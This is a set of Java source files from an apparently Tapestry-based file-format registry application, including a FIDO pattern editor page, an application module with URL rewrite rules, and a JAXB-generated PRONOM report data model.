at.ac.ait.formatRegistry.gui.pages; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import org.apache.tapestry5.ValueEncoder; import org.apache.tapestry5.annotations.InjectPage; import org.apache.tapestry5.annotations.Persist; import org.apache.tapestry5.annotations.Property; import org.apache.tapestry5.ioc.annotations.Inject; import uk.gov.nationalarchives.pronom.PRONOMReport.ReportFormatDetail.FileFormat; import uk.gov.nationalarchives.pronom.PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature; import uk.gov.nationalarchives.pronom.PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature.Pattern; import at.ac.ait.formatRegistry.gui.services.FileFormatDAO; public class EditFidoPattern { @Inject private FileFormatDAO formatDAO; @InjectPage private EditFormat editFormat; @Property @Persist private FileFormat _format; @Property @Persist private FidoSignature _signature; @Property @Persist private List<PatternHolder> _patternHolders; @Property private PatternHolder _patternHolder; Object initialize(FileFormat format, FidoSignature signature) { _patternHolders = new ArrayList<PatternHolder>(); Iterator<Pattern> it1 = signature.getPattern().iterator(); while (it1.hasNext()) { _patternHolders.add(new PatternHolder(it1.next(), false, 0 - System.nanoTime())); } this._format = format; this._signature = signature; return this; } public Object onSuccess() { for (PatternHolder ph : _patternHolders) { Pattern theSequence = ph.getPattern(); if (ph.isNew()) { _signature.getPattern().add(theSequence); } else if (ph.isDeleted()) { _signature.getPattern().remove(theSequence); } } formatDAO.save(_format); return editFormat.initialize(_format.getFormatID()); } PatternHolder onAddRowFromPatterns() { // Create a skeleton Person and add it to the displayed list with a unique key Pattern newP = new Pattern(); PatternHolder newBsHolder = new PatternHolder(newP, true, 0 - System.nanoTime()); _patternHolders.add(newBsHolder); return newBsHolder; } void onRemoveRowFromPatterns(PatternHolder pattern) { if (pattern.isNew()) { _patternHolders.remove(pattern);; } else { pattern.setDeleted(true); } } public ValueEncoder<PatternHolder> getPatternEncoder() { return new ValueEncoder<PatternHolder>() { public String toClient(PatternHolder value) { Long key = value.getKey(); return key.toString(); } public PatternHolder toValue(String keyAsString) { Long key = new Long(keyAsString); for (PatternHolder holder : _patternHolders) { if (holder.getKey().equals(key)) { return holder; } } throw new IllegalArgumentException("Received key \"" + key + "\" which has no counterpart in this collection: " + _patternHolders); } }; } public class PatternHolder { private Pattern _p; private Long _key; private boolean _new; private boolean _deleted; PatternHolder(Pattern p, boolean isNew, Long key) { _p = p; _key = key; _new = isNew; } public Pattern getPattern() { return _p; } public Long getKey() { return _key; } public boolean isNew() { return _new; } public boolean setDeleted(boolean deleted) { return _deleted = deleted; } public boolean isDeleted() { return _deleted; } } } <file_sep>package at.ac.ait.formatRegistry.gui.components; import org.apache.tapestry5.annotations.IncludeStylesheet; @IncludeStylesheet("context:css/main.css") public class Layout { } <file_sep>// Copyright 2007, 2008 The Apache Software Foundation // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package at.ac.ait.formatRegistry.gui.services; import java.io.IOException; import org.apache.tapestry5.SymbolConstants; import org.apache.tapestry5.ioc.MappedConfiguration; import org.apache.tapestry5.ioc.OrderedConfiguration; import org.apache.tapestry5.ioc.ServiceBinder; import org.apache.tapestry5.ioc.annotations.InjectService; import org.apache.tapestry5.services.Request; import org.apache.tapestry5.services.RequestFilter; import org.apache.tapestry5.services.RequestHandler; import org.apache.tapestry5.services.Response; import org.apache.tapestry5.urlrewriter.RewriteRuleApplicability; import org.apache.tapestry5.urlrewriter.SimpleRequestWrapper; import org.apache.tapestry5.urlrewriter.URLRewriterRule; import org.apache.tapestry5.urlrewriter.URLRewriteContext; import org.slf4j.Logger; /** * This module is automatically included as part of the Tapestry IoC Registry, * it's a good place to configure and extend Tapestry, or to place your own * service definitions. */ public class AppModule { public static void bind(ServiceBinder binder) { // binder.bind(MyServiceInterface.class, MyServiceImpl.class); binder.bind(FileFormatDAO.class, FileFormatDAOImpl.class); // Make bind() calls on the binder object to define most IoC services. // Use service builder methods (example below) when the implementation // is provided inline, or requires more initialization than simply // invoking the constructor. } public static void contributeApplicationDefaults( MappedConfiguration<String, String> configuration) { // Contributions to ApplicationDefaults will override any contributions // to // FactoryDefaults (with the same key). Here we're restricting the // supported // locales to just "en" (English). As you add localised message catalogs // and other assets, // you can extend this list of locales (it's a comma seperated series of // locale names; // the first locale name is the default when there's no reasonable // match). configuration.add(SymbolConstants.SUPPORTED_LOCALES, "en"); // The factory default is true but during the early stages of an // application // overriding to false is a good idea. In addition, this is often // overridden // on the command line as -Dtapestry.production-mode=false configuration.add(SymbolConstants.PRODUCTION_MODE, "false"); } /** * This is a service definition, the service will be named "TimingFilter". * The interface, RequestFilter, is used within the RequestHandler service * pipeline, which is built from the RequestHandler service configuration. * Tapestry IoC is responsible for passing in an appropriate Log instance. * Requests for static resources are handled at a higher level, so this * filter will only be invoked for Tapestry related requests. * * <p> * Service builder methods are useful when the implementation is inline as * an inner class (as here) or require some other kind of special * initialization. In most cases, use the static bind() method instead. * * <p> * If this method was named "build", then the service id would be taken from * the service interface and would be "RequestFilter". Since Tapestry * already defines a service named "RequestFilter" we use an explicit * service id that we can reference inside the contribution method. */ public RequestFilter buildTimingFilter(final Logger log) { return new RequestFilter() { public boolean service(Request request, Response response, RequestHandler handler) throws IOException { long startTime = System.currentTimeMillis(); try { // The reponsibility of a filter is to invoke the // corresponding method // in the handler. When you chain multiple filters together, // each filter // received a handler that is a bridge to the next filter. return handler.service(request, response); } finally { long elapsed = System.currentTimeMillis() - startTime; log.info(String.format("Request time: %d ms", elapsed)); } } }; } /** * This is a contribution to the RequestHandler service configuration. This * is how we extend Tapestry using the timing filter. A common use for this * kind of filter is transaction management or security. */ public void contributeRequestHandler( OrderedConfiguration<RequestFilter> configuration, @InjectService("TimingFilter") RequestFilter filter) { // Each contribution to an ordered configuration has a name, When // necessary, you may // set constraints to precisely control the invocation order of the // contributed filter // within the pipeline. configuration.add("Timing", filter); } public static void contributeURLRewriter( OrderedConfiguration<URLRewriterRule> configuration) { URLRewriterRule rule1 = new URLRewriterRule() { public Request process(Request request, URLRewriteContext context) { final String path = request.getPath(); if (path.startsWith("/fmt/")) { String newPath = path.replaceFirst("fmt", "viewpronom"); request = new SimpleRequestWrapper(request, newPath); } return request; } public RewriteRuleApplicability applicability() { return RewriteRuleApplicability.INBOUND; } }; URLRewriterRule rule2 = new URLRewriterRule() { public Request process(Request request, URLRewriteContext context) { final String path = request.getPath(); if (path.startsWith("/x-fmt/")) { String newPath = path.replaceFirst("x-fmt", "viewpronomx"); request = new SimpleRequestWrapper(request, newPath); } return request; } public RewriteRuleApplicability applicability() { return RewriteRuleApplicability.INBOUND; } }; URLRewriterRule rule3 = new URLRewriterRule() { public Request process(Request request, URLRewriteContext context) { final String path = request.getPath(); if (path.startsWith("/o-fmt/")) { String newPath = path.replaceFirst("o-fmt", "viewpronomo"); request = new SimpleRequestWrapper(request, newPath); } return request; } public RewriteRuleApplicability applicability() { return RewriteRuleApplicability.INBOUND; } }; configuration.add("fmt-rule", rule1); configuration.add("x-fmt-rule", rule2); configuration.add("o-fmt-rule", rule3); } } <file_sep>// // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, vJAXB 2.1.3 in JDK 1.6 // See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2010.11.18 at 11:42:33 AM MEZ // package uk.gov.nationalarchives.pronom; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlRootElement; import javax.xml.bind.annotation.XmlType; import org.apache.tapestry5.beaneditor.NonVisual; import uk.bl.dpt.fido.ContainerType; import uk.bl.dpt.fido.PositionType; @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "reportFormatDetail" }) @XmlRootElement(name = "PRONOM-Report") public class PRONOMReport { @XmlElement(name = "report_format_detail") protected List<PRONOMReport.ReportFormatDetail> reportFormatDetail; /** * Gets the value of the reportFormatDetail property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the reportFormatDetail property. * * <p> * For example, to add a new item, do as follows: * <pre> * getReportFormatDetail().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail } * * */ public List<PRONOMReport.ReportFormatDetail> getReportFormatDetail() { if (reportFormatDetail == null) { reportFormatDetail = new ArrayList<PRONOMReport.ReportFormatDetail>(); } return this.reportFormatDetail; } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "searchCriteria", "fileFormat" }) public static class ReportFormatDetail { @XmlElement(name = "SearchCriteria") protected String searchCriteria; @XmlElement(name = "FileFormat") protected List<PRONOMReport.ReportFormatDetail.FileFormat> fileFormat; /** * Gets the value of the searchCriteria property. * * @return * possible object is * {@link String } * */ public String getSearchCriteria() { return searchCriteria; } /** * Sets the value of the searchCriteria property. * * @param value * allowed object is * {@link String } * */ public void setSearchCriteria(String value) { this.searchCriteria = value; } /** * Gets the value of the fileFormat property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the fileFormat property. * * <p> * For example, to add a new item, do as follows: * <pre> * getFileFormat().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat> getFileFormat() { if (fileFormat == null) { fileFormat = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat>(); } return this.fileFormat; } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "formatID", "formatName", "formatVersion", "formatAliases", "formatFamilies", "formatTypes", "formatDisclosure", "formatDescription", "binaryFileFormat", "byteOrders", "releaseDate", "withdrawnDate", "provenanceSourceID", "provenanceName", "provenanceSourceDate", "provenanceDescription", "lastUpdatedDate", "formatNote", "formatRisk", "container", "technicalEnvironment", "fileFormatIdentifier", "document", "externalSignature", "internalSignature", "fidoSignature", "relatedFormat", "compressionType" }) public static class FileFormat { @XmlElement(name = "FormatID") protected String formatID; @XmlElement(name = "FormatName") protected String formatName; @XmlElement(name = "FormatVersion") protected String formatVersion; @XmlElement(name = "FormatAliases") protected String formatAliases; @XmlElement(name = "FormatFamilies") protected String formatFamilies; @XmlElement(name = "FormatTypes") protected String formatTypes; @XmlElement(name = "FormatDisclosure") protected String formatDisclosure; @XmlElement(name = "FormatDescription") protected String formatDescription; @XmlElement(name = "BinaryFileFormat") protected String binaryFileFormat; @XmlElement(name = "ByteOrders") protected String byteOrders; @XmlElement(name = "ReleaseDate") protected String releaseDate; @XmlElement(name = "WithdrawnDate") protected String withdrawnDate; @XmlElement(name = "ProvenanceSourceID") protected String provenanceSourceID; @XmlElement(name = "ProvenanceName") protected String provenanceName; @XmlElement(name = "ProvenanceSourceDate") protected String provenanceSourceDate; @XmlElement(name = "ProvenanceDescription") protected String provenanceDescription; @XmlElement(name = "LastUpdatedDate") protected String lastUpdatedDate; @XmlElement(name = "FormatNote") protected String formatNote; @XmlElement(name = "FormatRisk") protected String formatRisk; @XmlElement(name = "Container") protected ContainerType container; @XmlElement(name = "TechnicalEnvironment") protected String technicalEnvironment; @XmlElement(name = "FileFormatIdentifier") protected List<PRONOMReport.ReportFormatDetail.FileFormat.FileFormatIdentifier> fileFormatIdentifier; @XmlElement(name = "Document") protected List<PRONOMReport.ReportFormatDetail.FileFormat.Document> document; @XmlElement(name = "ExternalSignature") protected List<PRONOMReport.ReportFormatDetail.FileFormat.ExternalSignature> externalSignature; @XmlElement(name = "InternalSignature") protected List<PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature> internalSignature; @XmlElement(name = "FidoSignature") protected List<PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature> fidoSignature; @XmlElement(name = "RelatedFormat") protected List<PRONOMReport.ReportFormatDetail.FileFormat.RelatedFormat> relatedFormat; @XmlElement(name = "CompressionType") protected List<PRONOMReport.ReportFormatDetail.FileFormat.CompressionType> compressionType; /** * Gets the value of the formatID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getFormatID() { return formatID; } /** * Sets the value of the formatID property. * * @param value * allowed object is * {@link String } * */ public void setFormatID(String value) { this.formatID = value; } public String getPronomID() { Iterator<FileFormatIdentifier> it = this.getFileFormatIdentifier().iterator(); while (it.hasNext()) { FileFormatIdentifier ffi = it.next(); IdentifierTypes type = ffi.getIdentifierType(); if (type==IdentifierTypes.PUID) return ffi.getIdentifier(); } return ""; } public String getExtensionList() { String retString =""; Iterator<ExternalSignature> it = this.getExternalSignature().iterator(); while (it.hasNext()) { ExternalSignature es = it.next(); SignatureTypes type = es.getSignatureType(); if (type==SignatureTypes.File_extension) { if (retString.equals("")) { retString = es.getSignature(); } else { retString = retString + ", " + es.getSignature(); } } } return retString; } /** * Gets the value of the formatName property. * * @return * possible object is * {@link String } * */ public String getFormatName() { return formatName; } /** * Sets the value of the formatName property. * * @param value * allowed object is * {@link String } * */ public void setFormatName(String value) { this.formatName = value; } /** * Gets the value of the formatVersion property. * * @return * possible object is * {@link String } * */ public String getFormatVersion() { return formatVersion; } /** * Sets the value of the formatVersion property. * * @param value * allowed object is * {@link String } * */ public void setFormatVersion(String value) { this.formatVersion = value; } /** * Gets the value of the formatAliases property. * * @return * possible object is * {@link String } * */ public String getFormatAliases() { return formatAliases; } /** * Sets the value of the formatAliases property. * * @param value * allowed object is * {@link String } * */ public void setFormatAliases(String value) { this.formatAliases = value; } /** * Gets the value of the formatFamilies property. * * @return * possible object is * {@link String } * */ public String getFormatFamilies() { return formatFamilies; } /** * Sets the value of the formatFamilies property. * * @param value * allowed object is * {@link String } * */ public void setFormatFamilies(String value) { this.formatFamilies = value; } /** * Gets the value of the formatTypes property. * * @return * possible object is * {@link String } * */ public String getFormatTypes() { return formatTypes; } /** * Sets the value of the formatTypes property. * * @param value * allowed object is * {@link String } * */ public void setFormatTypes(String value) { this.formatTypes = value; } /** * Gets the value of the formatDisclosure property. * * @return * possible object is * {@link String } * */ public String getFormatDisclosure() { return formatDisclosure; } /** * Sets the value of the formatDisclosure property. * * @param value * allowed object is * {@link String } * */ public void setFormatDisclosure(String value) { this.formatDisclosure = value; } /** * Gets the value of the formatDescription property. * * @return * possible object is * {@link String } * */ public String getFormatDescription() { return formatDescription; } /** * Sets the value of the formatDescription property. * * @param value * allowed object is * {@link String } * */ public void setFormatDescription(String value) { this.formatDescription = value; } /** * Gets the value of the binaryFileFormat property. * * @return * possible object is * {@link String } * */ public String getBinaryFileFormat() { return binaryFileFormat; } /** * Sets the value of the binaryFileFormat property. * * @param value * allowed object is * {@link String } * */ public void setBinaryFileFormat(String value) { this.binaryFileFormat = value; } /** * Gets the value of the byteOrders property. * * @return * possible object is * {@link String } * */ public String getByteOrders() { return byteOrders; } /** * Sets the value of the byteOrders property. * * @param value * allowed object is * {@link String } * */ public void setByteOrders(String value) { this.byteOrders = value; } /** * Gets the value of the releaseDate property. * * @return * possible object is * {@link String } * */ public String getReleaseDate() { return releaseDate; } /** * Sets the value of the releaseDate property. * * @param value * allowed object is * {@link String } * */ public void setReleaseDate(String value) { this.releaseDate = value; } /** * Gets the value of the withdrawnDate property. * * @return * possible object is * {@link String } * */ public String getWithdrawnDate() { return withdrawnDate; } /** * Sets the value of the withdrawnDate property. * * @param value * allowed object is * {@link String } * */ public void setWithdrawnDate(String value) { this.withdrawnDate = value; } /** * Gets the value of the provenanceSourceID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getProvenanceSourceID() { return provenanceSourceID; } /** * Sets the value of the provenanceSourceID property. * * @param value * allowed object is * {@link String } * */ public void setProvenanceSourceID(String value) { this.provenanceSourceID = value; } /** * Gets the value of the provenanceName property. * * @return * possible object is * {@link String } * */ public String getProvenanceName() { return provenanceName; } /** * Sets the value of the provenanceName property. * * @param value * allowed object is * {@link String } * */ public void setProvenanceName(String value) { this.provenanceName = value; } /** * Gets the value of the provenanceSourceDate property. * * @return * possible object is * {@link String } * */ public String getProvenanceSourceDate() { return provenanceSourceDate; } /** * Sets the value of the provenanceSourceDate property. * * @param value * allowed object is * {@link String } * */ public void setProvenanceSourceDate(String value) { this.provenanceSourceDate = value; } /** * Gets the value of the provenanceDescription property. * * @return * possible object is * {@link String } * */ public String getProvenanceDescription() { return provenanceDescription; } /** * Sets the value of the provenanceDescription property. * * @param value * allowed object is * {@link String } * */ public void setProvenanceDescription(String value) { this.provenanceDescription = value; } /** * Gets the value of the lastUpdatedDate property. * * @return * possible object is * {@link String } * */ public String getLastUpdatedDate() { return lastUpdatedDate; } /** * Sets the value of the lastUpdatedDate property. * * @param value * allowed object is * {@link String } * */ public void setLastUpdatedDate(String value) { this.lastUpdatedDate = value; } /** * Gets the value of the formatNote property. * * @return * possible object is * {@link String } * */ public String getFormatNote() { return formatNote; } /** * Sets the value of the formatNote property. * * @param value * allowed object is * {@link String } * */ public void setFormatNote(String value) { this.formatNote = value; } /** * Gets the value of the formatRisk property. * * @return * possible object is * {@link String } * */ public String getFormatRisk() { return formatRisk; } /** * Sets the value of the container property. * * @param value * allowed object is * {@link ContainerType } * */ public void setContainer(ContainerType value) { this.container = value; } /** * Gets the value of the container property. * * @return * possible object is * {@link ContainerType } * */ public ContainerType getContainer() { return container; } /** * Sets the value of the formatRisk property. * * @param value * allowed object is * {@link String } * */ public void setFormatRisk(String value) { this.formatRisk = value; } /** * Gets the value of the technicalEnvironment property. * * @return * possible object is * {@link String } * */ public String getTechnicalEnvironment() { return technicalEnvironment; } /** * Sets the value of the technicalEnvironment property. * * @param value * allowed object is * {@link String } * */ public void setTechnicalEnvironment(String value) { this.technicalEnvironment = value; } /** * Gets the value of the fileFormatIdentifier property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the fileFormatIdentifier property. * * <p> * For example, to add a new item, do as follows: * <pre> * getFileFormatIdentifier().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.FileFormatIdentifier } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.FileFormatIdentifier> getFileFormatIdentifier() { if (fileFormatIdentifier == null) { fileFormatIdentifier = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.FileFormatIdentifier>(); } return this.fileFormatIdentifier; } /** * Gets the value of the document property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the document property. * * <p> * For example, to add a new item, do as follows: * <pre> * getDocument().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.Document } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.Document> getDocument() { if (document == null) { document = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.Document>(); } return this.document; } /** * Gets the value of the externalSignature property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the externalSignature property. * * <p> * For example, to add a new item, do as follows: * <pre> * getExternalSignature().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.ExternalSignature } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.ExternalSignature> getExternalSignature() { if (externalSignature == null) { externalSignature = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.ExternalSignature>(); } return this.externalSignature; } /** * Gets the value of the internalSignature property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the internalSignature property. * * <p> * For example, to add a new item, do as follows: * <pre> * getInternalSignature().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature> getInternalSignature() { if (internalSignature == null) { internalSignature = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.InternalSignature>(); } return this.internalSignature; } /** * Gets the value of the fidoSignature property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the internalSignature property. * * <p> * For example, to add a new item, do as follows: * <pre> * getFidoSignature().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature> getFidoSignature() { if (fidoSignature == null) { fidoSignature = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.FidoSignature>(); } return this.fidoSignature; } /** * Gets the value of the relatedFormat property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the relatedFormat property. * * <p> * For example, to add a new item, do as follows: * <pre> * getRelatedFormat().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.RelatedFormat } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.RelatedFormat> getRelatedFormat() { if (relatedFormat == null) { relatedFormat = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.RelatedFormat>(); } return this.relatedFormat; } /** * Gets the value of the compressionType property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the compressionType property. * * <p> * For example, to add a new item, do as follows: * <pre> * getCompressionType().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.CompressionType } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.CompressionType> getCompressionType() { if (compressionType == null) { compressionType = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.CompressionType>(); } return this.compressionType; } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "compressionID", "compressionName", "compressionVersion", "compressionAliases", "compressionFamilies", "description", "lossiness", "releaseDate", "withdrawnDate", "compressionDocumentation", "compressionIPR", "compressionNote", "compressionIdentifier" }) public static class CompressionType { @XmlElement(name = "CompressionID") protected String compressionID; @XmlElement(name = "CompressionName") protected String compressionName; @XmlElement(name = "CompressionVersion") protected String compressionVersion; @XmlElement(name = "CompressionAliases") protected String compressionAliases; @XmlElement(name = "CompressionFamilies") protected String compressionFamilies; @XmlElement(name = "Description") protected String description; @XmlElement(name = "Lossiness") protected String lossiness; @XmlElement(name = "ReleaseDate") protected String releaseDate; @XmlElement(name = "WithdrawnDate") protected String withdrawnDate; @XmlElement(name = "CompressionDocumentation") protected String compressionDocumentation; @XmlElement(name = "CompressionIPR") protected String compressionIPR; @XmlElement(name = "CompressionNote") protected String compressionNote; @XmlElement(name = "CompressionIdentifier") protected List<PRONOMReport.ReportFormatDetail.FileFormat.CompressionType.CompressionIdentifier> compressionIdentifier; /** * Gets the value of the compressionID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getCompressionID() { return compressionID; } /** * Sets the value of the compressionID property. * * @param value * allowed object is * {@link String } * */ public void setCompressionID(String value) { this.compressionID = value; } /** * Gets the value of the compressionName property. * * @return * possible object is * {@link String } * */ public String getCompressionName() { return compressionName; } /** * Sets the value of the compressionName property. * * @param value * allowed object is * {@link String } * */ public void setCompressionName(String value) { this.compressionName = value; } /** * Gets the value of the compressionVersion property. * * @return * possible object is * {@link String } * */ public String getCompressionVersion() { return compressionVersion; } /** * Sets the value of the compressionVersion property. * * @param value * allowed object is * {@link String } * */ public void setCompressionVersion(String value) { this.compressionVersion = value; } /** * Gets the value of the compressionAliases property. * * @return * possible object is * {@link String } * */ public String getCompressionAliases() { return compressionAliases; } /** * Sets the value of the compressionAliases property. * * @param value * allowed object is * {@link String } * */ public void setCompressionAliases(String value) { this.compressionAliases = value; } /** * Gets the value of the compressionFamilies property. * * @return * possible object is * {@link String } * */ public String getCompressionFamilies() { return compressionFamilies; } /** * Sets the value of the compressionFamilies property. * * @param value * allowed object is * {@link String } * */ public void setCompressionFamilies(String value) { this.compressionFamilies = value; } /** * Gets the value of the description property. * * @return * possible object is * {@link String } * */ public String getDescription() { return description; } /** * Sets the value of the description property. * * @param value * allowed object is * {@link String } * */ public void setDescription(String value) { this.description = value; } /** * Gets the value of the lossiness property. * * @return * possible object is * {@link String } * */ public String getLossiness() { return lossiness; } /** * Sets the value of the lossiness property. * * @param value * allowed object is * {@link String } * */ public void setLossiness(String value) { this.lossiness = value; } /** * Gets the value of the releaseDate property. * * @return * possible object is * {@link String } * */ public String getReleaseDate() { return releaseDate; } /** * Sets the value of the releaseDate property. * * @param value * allowed object is * {@link String } * */ public void setReleaseDate(String value) { this.releaseDate = value; } /** * Gets the value of the withdrawnDate property. * * @return * possible object is * {@link String } * */ public String getWithdrawnDate() { return withdrawnDate; } /** * Sets the value of the withdrawnDate property. * * @param value * allowed object is * {@link String } * */ public void setWithdrawnDate(String value) { this.withdrawnDate = value; } /** * Gets the value of the compressionDocumentation property. * * @return * possible object is * {@link String } * */ public String getCompressionDocumentation() { return compressionDocumentation; } /** * Sets the value of the compressionDocumentation property. * * @param value * allowed object is * {@link String } * */ public void setCompressionDocumentation(String value) { this.compressionDocumentation = value; } /** * Gets the value of the compressionIPR property. * * @return * possible object is * {@link String } * */ public String getCompressionIPR() { return compressionIPR; } /** * Sets the value of the compressionIPR property. * * @param value * allowed object is * {@link String } * */ public void setCompressionIPR(String value) { this.compressionIPR = value; } /** * Gets the value of the compressionNote property. * * @return * possible object is * {@link String } * */ public String getCompressionNote() { return compressionNote; } /** * Sets the value of the compressionNote property. * * @param value * allowed object is * {@link String } * */ public void setCompressionNote(String value) { this.compressionNote = value; } /** * Gets the value of the compressionIdentifier property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the compressionIdentifier property. * * <p> * For example, to add a new item, do as follows: * <pre> * getCompressionIdentifier().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link PRONOMReport.ReportFormatDetail.FileFormat.CompressionType.CompressionIdentifier } * * */ public List<PRONOMReport.ReportFormatDetail.FileFormat.CompressionType.CompressionIdentifier> getCompressionIdentifier() { if (compressionIdentifier == null) { compressionIdentifier = new ArrayList<PRONOMReport.ReportFormatDetail.FileFormat.CompressionType.CompressionIdentifier>(); } return this.compressionIdentifier; } /** * <p>Java class for anonymous complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType> * &lt;complexContent> * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"> * &lt;sequence> * &lt;element name="Identifier" type="{http://www.w3.org/2001/XMLSchema}string" minOccurs="0"/> * &lt;element name="IdentifierType" type="{http://www.w3.org/2001/XMLSchema}string" minOccurs="0"/> * &lt;/sequence> * &lt;/restriction> * &lt;/complexContent> * &lt;/complexType> * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "identifier", "identifierType" }) public static class CompressionIdentifier { @XmlElement(name = "Identifier") protected String identifier; @XmlElement(name = "IdentifierType") protected String identifierType; /** * Gets the value of the identifier property. * * @return * possible object is * {@link String } * */ public String getIdentifier() { return identifier; } /** * Sets the value of the identifier property. * * @param value * allowed object is * {@link String } * */ public void setIdentifier(String value) { this.identifier = value; } /** * Gets the value of the identifierType property. * * @return * possible object is * {@link String } * */ public String getIdentifierType() { return identifierType; } /** * Sets the value of the identifierType property. * * @param value * allowed object is * {@link String } * */ public void setIdentifierType(String value) { this.identifierType = value; } } } @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "documentID", "displayText", "documentType", "availabilityDescription", "availabilityNote", "publicationDate", "titleText", "documentIPR", "documentNote", "documentIdentifier", "author", "publisher" }) public static class Document { @XmlElement(name = "DocumentID") protected String documentID; @XmlElement(name = "DisplayText") protected String displayText; @XmlElement(name = "DocumentType") protected String documentType; @XmlElement(name = "AvailabilityDescription") protected String availabilityDescription; @XmlElement(name = "AvailabilityNote") protected String availabilityNote; @XmlElement(name = "PublicationDate") protected String publicationDate; @XmlElement(name = "TitleText") protected String titleText; @XmlElement(name = "DocumentIPR") protected String documentIPR; @XmlElement(name = "DocumentNote") protected String documentNote; @XmlElement(name = "DocumentIdentifier") protected List<PRONOMReport.ReportFormatDetail.FileFormat.Document.DocumentIdentifier> documentIdentifier; @XmlElement(name = "Author") protected List<PRONOMReport.ReportFormatDetail.FileFormat.Document.Author> author; @XmlElement(name = "Publisher") protected List<PRONOMReport.ReportFormatDetail.FileFormat.Document.Publisher> publisher; /** * Gets the value of the documentID property. * * @return * possible object is * {@link String } * */ @NonVisual public String getDocumentID() { return documentID; } /** * Sets the value of the documentID property. * * @param value * allowed object is * {@link String } * */ public void setDocumentID(String value) { this.documentID = value; } /** * Gets the 